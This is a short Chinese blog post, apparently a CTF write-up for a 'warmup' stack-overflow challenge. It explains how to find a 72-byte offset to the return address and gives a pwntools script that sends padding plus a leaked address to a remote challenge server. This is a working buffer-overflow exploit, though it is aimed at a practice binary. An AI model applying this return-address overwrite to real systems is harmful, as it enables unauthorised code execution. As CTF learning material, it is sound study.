warmup

最新推荐文章于 2025-06-16 21:26:59 发布

pipixia233333

最新推荐文章于 2025-06-16 21:26:59 发布

阅读量1.1w

点赞数

CC 4.0 BY-SA版权

分类专栏：栈溢出堆溢出

本文链接：https://blog.csdn.net/qq_41071646/article/details/86224262

栈溢出堆溢出专栏收录该内容

78 篇文章

订阅专栏

这个其实算是入门题

在上面可以看到打印出来了很多东西

然后

发现他会把我们这个地址打印出来那么我们只要把返回地址补充上就好了

这里耗费了我不少功夫

然后我们输入动态调试一下看看哪里是返回值

发现插了 8*9 72个字符那么就很好办了

构造就完事了

# -*- coding:utf-8 -*-
from pwn import *
import binascii
#context.update(arch = 'amd64', os = 'linux', timeout = 1)
io=remote('111.198.29.45','30556')
io.recvuntil('WOW:0x')
tt=(io.recv(6))
#tt=0x40060d
#ss=tt.to_hex(tt)
#print ss
#tt=p64(tt)
system_addr=int(tt,16)
print io.recv()
print tt
#io.recvuntil('WOW:')
#tt.decode('hex')
#system_addr=p64(tt)
p=''
p+='a'*72+p64(system_addr)
print p
#io.recv()
io.sendline(p)
#print io.recv()